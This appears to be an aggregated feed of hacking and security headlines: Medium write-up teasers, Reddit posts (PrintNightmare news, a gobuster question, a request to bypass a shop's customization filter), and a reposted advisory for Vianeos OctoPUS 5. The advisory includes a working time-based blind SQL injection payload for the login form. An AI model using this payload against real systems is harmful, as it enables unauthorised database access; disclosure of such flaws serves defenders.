Hacking on Medium
Accidental Bounty Part 2

Not a funny title, I know…😆😆. Well, we’ll be continuing the story of previous blog today. If you haven’t read it yet, please visit…

Continue reading on Medium »

Hacking on Medium
Kali Linux — Modo Gráfico via Navegador

https://cdn-images-1.medium.com/max/628/0*b1-uI4Es34BvxIoO.png
Este é um recurso bem interessante e que pode ser muito útil durante a realização de seus PenTests. É possível acessar o Kali Linux em…

Continue reading on 100security »

Hacking on Medium
Intro To LAN CTF on TryHackMe

https://cdn-images-1.medium.com/max/600/1*NaytA1RckXNWoKDg1Jlr5g.jpeg
Get the knowledge about protocols that used on private network (DHCP , ARP) , with great article about subnetting .

Continue reading on Medium »

Hacking on Medium
HTB Knife

https://cdn-images-1.medium.com/max/641/1*N6RTU1bQbXV9HoUfyxC4tA.png
Hello everyone, this is my first write-up and I decided to start with the box named „Knife“. In this walkthrough, I won’t expand into…

Continue reading on Medium »

Hacking on Medium
How I am planning for my hackathon journey in 2021…

https://cdn-images-1.medium.com/max/2600/0*XmyPZ8GUBrv0ALzT
So to all the people who build and participate in hackathons or plan to participate from this year, we gonna go through my journey and…

Continue reading on Medium »

Hacking Premium Features on Desktop Application
https://rejinoldpearson.medium.com/hacking-premium-features-on-desktop-application-cdf586be909b?source=rss------bug_bounty-5

The Price Hacking !Continue reading on Medium » (https://rejinoldpearson.medium.com/hacking-premium-features-on-desktop-application-cdf586be909b?source=rss------bug_bounty-5)

Hacking Premium Features on Desktop Application

The Price Hacking !Continue reading on Medium »
Read more...

hacking: security in practice
PrintNightmare 0-day can be used to take over Windows domain controllers

https://external-preview.redd.it/DVaKTbJEkySvzrlG-Bb53PWcrQDw5qdA98a8IxvNR9w.jpg?width=640&crop=smart&auto=webp&s=2d7a935c7e2abbaf71151acca37d0efab3705f59 submitted by /u/CodePerfect
[link] [comments]

hacking: security in practice
Why so many bad response codes?

Hey all!

I'm fairly new to red teaming and am currently experimenting with gobuster on different sites. When I run it, I'll typically get a few 200 range status codes and a ton in the 300-500 range. What does this mean? Is there a way to further enumerate on these or are they some sort of false positives?

I'd appreciate any input, but would also hugely appreciate any relevant learning resources.

Thanks!

submitted by /u/__superzero__
[link] [comments]

hacking: security in practice
How to bypass custom order restriction?

Sorry if not allowed to ask, but I am trying to order a customized item from a website that has restrictions on how I can customize it.

this is the item

Basically, I try to enter a specific name and number (in this case Sanders, 21) and I get an error message: “We are unable to customize this item with the text you have entered. Please try a different entry.”

Surely there is a workaround? Any insight is greatly appreciated

submitted by /u/SatsuiNoHadou_
[link] [comments]

Exploit Collector
Vianeos OctoPUS 5 SQL Injection

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
Vianeos OctoPUS version 5 suffers from a remote time-based SQL injection vulnerability.

MD5 | b23e2b025834a8ba12c912db046a0052

Download
# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi
# Date: 01/07/2021
# Exploit Author: Audencia Business SCHOOL
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/
# Software Link: http://www.vianeos.com/en/octopus/
# Version: > V5
# Tested on: Fedora / Apache2 / MariaDB
Octopus V5 SQLi

The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :

```
Parameter: login_user (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1
```

Source:packetstormsecurity.com